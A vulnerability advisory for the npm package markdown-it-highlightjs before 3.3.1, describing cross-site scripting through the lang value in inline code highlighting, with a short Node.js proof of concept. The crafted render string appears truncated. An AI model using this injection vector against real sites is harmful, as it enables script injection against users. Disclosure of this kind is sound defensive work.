| Package | Affected versions | Patched versions |
|---|---|---|
| markdown-it-highlightjs | < 3.3.1 | 3.3.1 |
| markdown-it-highlightjs | < 3.3.1 | 3.3.1 |
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it');
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}');
console.log(reuslt_xss);
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free